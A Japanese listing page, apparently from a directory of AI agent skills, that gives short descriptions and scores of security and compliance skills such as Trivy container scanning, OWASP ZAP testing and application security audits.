セキュリティ＆コンプライアンス 表示
📦
sca-trivy
38Trivy でコンテナと依存関係をスキャン
未知の CVE や設定ミスは、安全なリリースを遅らせる可能性があります。このスキルは、一般的なデリバリーワークフロー全体で Trivy スキャン、SBOM 作成、修復の優先順位付けをガイドします。
セキュリティ＆コンプライアンス 表示
📦
dast-zap
38OWASP ZAPでWebアプリをスキャン
ランタイムのWebセキュリティテストをチーム全体で標準化するのは困難です。このスキルは、承認済みスキャン、APIテスト、認証、CI/CDレポート作成のためのOWASP ZAPワークフローを提供します。
セキュリティ＆コンプライアンス 表示
関連スキル
すべて表示📦
senior-security
81アプリケーションセキュリティレビューを強化する
作成者 alirezarezvani
セキュリティレビューでは、一貫したチェックリストや再利用可能なワークフローが不足しがちです。このスキルは、Claude、Codex、Claude Code 向けに、セキュリティレビューのひな形、参照ガイダンス、シンプルなレポート作成スクリプトを提供します。
セキュリティ＆コンプライアンス 表示
📦
web-security-testing
80OWASP Web セキュリティテストを実施
作成者 sickn33
Webチームには、リリース前に一般的なアプリケーションリスクを確認するための再現可能な方法が必要です。このスキルは、OWASPテストをフェーズ、プロンプト、レポート作成手順に整理します。
セキュリティ＆コンプライアンス 表示
📦
skill-check
80リリース前にエージェントスキルを検証
作成者 JckJhns
スキル作成者には、スキルが機能し、回避可能なリスクにユーザーをさらさないことを示す証拠が必要です。SkillCheck は、段階的なチェックを通じて、構造、セキュリティ、eval、スクリプト、出力をレビューします。
セキュリティ＆コンプライアンス 表示
📦
azure-compliance
79Azure コンプライアンスと Key Vault 有効期限の監査
作成者 microsoft
Azure チームには、リスクが障害になる前に明確なコンプライアンス所見が必要です。このスキルは範囲を限定した監査を実行し、結果を優先順位付きのアクションに変換します。
セキュリティ＆コンプライアンス 表示
📦
security-audit
79アプリケーションのセキュリティリスクを監査
作成者 89jobrien
セキュリティレビューでは、スコープ、深刻度、修復方法が不明確な場合、一般的な脆弱性を見落とすことがあります。このスキルは、OWASP チェック、CVSS スコアリング、レポートテンプレートを使用した構造化監査を支援します。
セキュリティ＆コンプライアンス 表示
📦
security-sentinel
79セキュリティリスクを検出するコード監査
作成者 Barnhardt-Enterprises-Inc
セキュリティに関わるコードは、認証、入力処理、シークレットに潜む欠陥を抱えたまま出荷されやすいものです。このスキルは、Claude、Codex、Claude Code に構造化されたセキュリティリファレンスとスキャナーのガイダンスを提供し、より安全なレビューを支援します。
セキュリティ＆コンプライアンス 表示